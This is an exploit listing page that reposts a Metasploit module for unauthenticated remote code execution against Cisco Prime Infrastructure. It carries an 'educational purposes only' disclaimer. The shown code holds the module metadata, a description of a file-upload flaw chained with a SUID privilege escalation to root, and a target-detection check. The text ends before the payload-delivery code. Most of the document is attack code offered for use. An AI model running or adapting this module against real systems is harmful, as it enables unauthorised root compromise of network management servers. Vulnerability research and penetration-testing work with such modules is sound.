Cisco prime infrastructure (unauthenticated) remote code execution Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-10-04 |
Type : remote |
Platform : multiple
This exploit / vulnerability Cisco prime infrastructure (unauthenticated) remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',
'Description' => %q{
Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
an unauthenticated attacker to achieve remote code execution. The first flaw is a file
upload vulnerability that allows the attacker to upload and execute files as the Apache
Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
in a SUID binary.
This module exploits these vulnerabilities to achieve unauthenticated remote code execution
as root on the CPI default installation.
This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
},
'Author' =>
[
'Pedro Ribeiro' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', 'TODO' ],
[ 'CVE', 'TODO' ],
[ 'URL', 'TODO' ],
[ 'URL', 'TODO' ]
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Cisco Prime Infrastructure', {} ]
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 10 },
'DefaultTarget' => 0,
'DisclosureDate' => 'TODO'
))
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
'method' => 'GET'
})
if res && res.code == 404 && res.body.length == 0
# at the moment this is the best way to detect
# a 404 in swimtemp only returns the error code with a body length of 0,
# while a 404 to another webapp or to the root returns code plus a body with content
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
# we land in /opt/CSCOlumos, so we don't know the apache directory
# as it changes between versions... so leave this commented for now
# ... and try to find a good way to clean it later
# register_files_for_cleanup(jsp_name)